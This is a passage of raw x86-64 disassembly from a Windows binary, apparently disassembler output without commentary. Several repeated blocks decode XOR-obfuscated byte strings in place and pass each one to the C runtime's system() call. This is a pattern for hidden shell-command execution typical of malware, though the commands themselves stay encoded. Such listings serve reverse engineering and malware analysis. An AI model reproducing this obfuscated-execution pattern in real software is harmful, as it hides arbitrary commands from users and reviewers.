shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x37
xor byte [r9 - 1], al
cmp r8d, 0x93
jl 0x140063480
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x89e5]
lea rcx, [rbp + 0x58]
mov byte [rbp + 0x58], al
call fcn.14007d0b0
mov r10, rax
cmp byte [rax + 0x99], 0
je 0x140063634
mov r8d, esi
cmp r15d, 2
jl 0x1400635f9
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x98
jl 0x140063500
cmp r8d, 0x9a
jge 0x140063634
movsxd r9, r8d
add r9, r10
nop
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x37
xor byte [r9 - 1], al
cmp r8d, 0x9a
jl 0x140063600
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0xa55d]
lea rcx, [rbp + 0x59]
mov byte [rbp + 0x59], al
call fcn.14007d140
mov r10, rax
cmp byte [rax + 0xc1], 0
je 0x1400637b4
mov r8d, esi
cmp r15d, 2
jl 0x140063779
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0xc0
jl 0x140063680
cmp r8d, 0xc2
jge 0x1400637b4
movsxd r9, r8d
add r9, r10
nop
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x37
xor byte [r9 - 1], al
cmp r8d, 0xc2
jl 0x140063780
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0xa61f]
lea rcx, [rbp + 0x5a]
mov byte [rbp + 0x5a], al
call fcn.14007d1d0
mov r10, rax
cmp byte [rax + 0xc1], 0
je 0x140063934
mov r8d, esi
cmp r15d, 2
jl 0x1400638f9
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0xc0
jl 0x140063800
cmp r8d, 0xc2
jge 0x140063934
movsxd r9, r8d
add r9, r10
nop
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x37
xor byte [r9 - 1], al
cmp r8d, 0xc2
jl 0x140063900
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0xa273]
lea rcx, [rbp + 0x5b]
mov byte [rbp + 0x5b], al
call fcn.14007d260
mov r10, rax
cmp byte [rax + 0xb7], 0
je 0x140063ab6
mov r8d, esi
cmp r15d, 2
jl 0x140063a70
movdqa xmmword [rbp + 0x10], xmm13
mov edx, esi
mov r8d, dword [rbp + 0x10]
mov rcx, rax
nop
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add edx, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, r8d
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp edx, 0xb8
jl 0x140063980
jmp 0x140063ab6
mov r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x3521cfb3
lea r9, [r9 + 1]
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x37
xor byte [r9 - 1], al
cmp r8d, 0xb8
jl 0x140063a80
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0xa32b]
lea rcx, [rbp + 0x5c]
mov byte [rbp + 0x5c], al
call fcn.14007d2f0
mov r10, rax
cmp byte [rax + 0xb7], 0
je 0x140063c36
mov r8d, esi
cmp r15d, 2
jl 0x140063bf0
movdqa xmmword [rbp + 0x10], xmm13
mov edx, esi
mov r8d, dword [rbp + 0x10]
mov rcx, rax
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add edx, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, r8d
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp edx, 0xb8
jl 0x140063b00
jmp 0x140063c36
mov r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x3521cfb3
lea r9, [r9 + 1]
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x37
xor byte [r9 - 1], al
cmp r8d, 0xb8
jl 0x140063c00
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x8652]
lea rcx, [rbp + 0x5d]
mov byte [rbp + 0x5d], al
call fcn.14007d380
mov r10, rax
cmp byte [rax + 0x97], 0
je 0x140063db6
mov r8d, esi
cmp r15d, 2
jl 0x140063d70
movdqa xmmword [rbp + 0x10], xmm13
mov edx, esi
mov r8d, dword [rbp + 0x10]
mov rcx, rax
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add edx, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, r8d
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp edx, 0x98
jl 0x140063c80
jmp 0x140063db6
mov r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x3521cfb3
lea r9, [r9 + 1]
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x37
xor byte [r9 - 1], al
cmp r8d, 0x98
jl 0x140063d80
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x881a]
lea rcx, [rbp + 0x5e]
mov byte [rbp + 0x5e], al
call fcn.14007d400
mov r10, rax
cmp byte [rax + 0x98], 0
je 0x140063f34
mov r8d, esi
cmp r15d, 2
jl 0x140063ef9
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x98
jl 0x140063e00
cmp r8d, 0x99
jge 0x140063f34
movsxd r9, r8d
add r9, r10
nop
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x37
xor byte [r9 - 1], al
cmp r8d, 0x99
jl 0x140063f00
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x835f]
lea rcx, [rbp + 0x5f]
mov byte [rbp + 0x5f], al
call fcn.14007d490
mov r10, rax
cmp byte [rax + 0x96], 0
je 0x1400640b4
mov r8d, esi
cmp r15d, 2
jl 0x140064079
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x90
jl 0x140063f80
cmp r8d, 0x97
jge 0x1400640b4
movsxd r9, r8d
add r9, r10
nop
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x37
xor byte [r9 - 1], al
cmp r8d, 0x97
jl 0x140064080
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x79b8]
lea rcx, [rbp + 0x60]
mov byte [rbp + 0x60], al
call fcn.14007d520
mov r10, rax
cmp byte [rax + 0x88], 0
je 0x140064234
mov r8d, esi
cmp r15d, 2
jl 0x1400641f9
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x88
jl 0x140064100
cmp r8d, 0x89
jge 0x140064234
movsxd r9, r8d
add r9, r10
nop
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x37
xor byte [r9 - 1], al
cmp r8d, 0x89
jl 0x140064200
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x88b3]
lea rcx, [rbp + 0x61]
mov byte [rbp + 0x61], al
call fcn.14007d5a0
mov r10, rax
cmp byte [rax + 0x98], 0
je 0x1400643b4
mov r8d, esi
cmp r15d, 2
jl 0x140064379
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x98
jl 0x140064280
cmp r8d, 0x99
jge 0x1400643b4
movsxd r9, r8d
add r9, r10
nop
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x37
xor byte [r9 - 1], al
cmp r8d, 0x99
jl 0x140064380
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x8071]
lea rcx, [rbp + 0x62]
mov byte [rbp + 0x62], al
call fcn.14007d630
mov r10, rax
cmp byte [rax + 0x95], 0
je 0x140064534
mov r8d, esi
cmp r15d, 2
jl 0x1400644f9
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x90
jl 0x140064400
cmp r8d, 0x96
jge 0x140064534
movsxd r9, r8d
add r9, r10
nop
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x37
xor byte [r9 - 1], al
cmp r8d, 0x96
jl 0x140064500
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x8107]
lea rcx, [rbp + 0x63]
mov byte [rbp + 0x63], al
call fcn.14007d6c0
mov r10, rax
cmp byte [rax + 0x95], 0
je 0x1400646b4
mov r8d, esi
cmp r15d, 2
jl 0x140064679
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x90
jl 0x140064580
cmp r8d, 0x96
jge 0x1400646b4
movsxd r9, r8d
add r9, r10
nop
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x37
xor byte [r9 - 1], al
cmp r8d, 0x96
jl 0x140064680
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x819d]
lea rcx, [rbp + 0x64]
mov byte [rbp + 0x64], al
call fcn.14007d750
mov r10, rax
cmp byte [rax + 0x95], 0
je 0x140064834
mov r8d, esi
cmp r15d, 2
jl 0x1400647f9
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
